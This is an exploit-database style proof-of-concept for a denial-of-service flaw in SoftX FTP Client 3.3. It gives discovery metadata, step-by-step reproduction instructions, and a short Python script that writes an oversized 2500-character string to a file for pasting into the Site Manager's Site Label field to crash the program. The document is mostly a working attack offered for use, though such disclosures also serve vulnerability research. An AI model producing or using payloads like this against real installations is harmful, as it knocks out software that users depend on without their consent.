SoftX FTP Client 3.3 - Denial of Service (PoC)

# Exploit Title: SoftX FTP Client 3.3 - Denial of Service (PoC)
# Discovery by: Cemal Cihad ÇİFTÇİ
# Discovery Date: 2018-09-24
# Tested Version: 3.3
# Vulnerability Type: DOS
# Tested on OS: Windows XP Professional Service Pack 3
# Vendor Homepage: www.softx.org
# Download Link: http://www.softx.org/ftp.html

# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "boom.txt". Copy the content of the new file "boom.txt".
# Now start the program. Now when you are inside of the program's Site
# Manager window click "New" > "New Site". In the field: "Site Label" paste
# the copied content from "boom.txt".
# Now click "OK" and see a crash!

#!/usr/bin/python
   
buffer = "A" * 2500

payload = buffer
try:
    f=open("boom.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"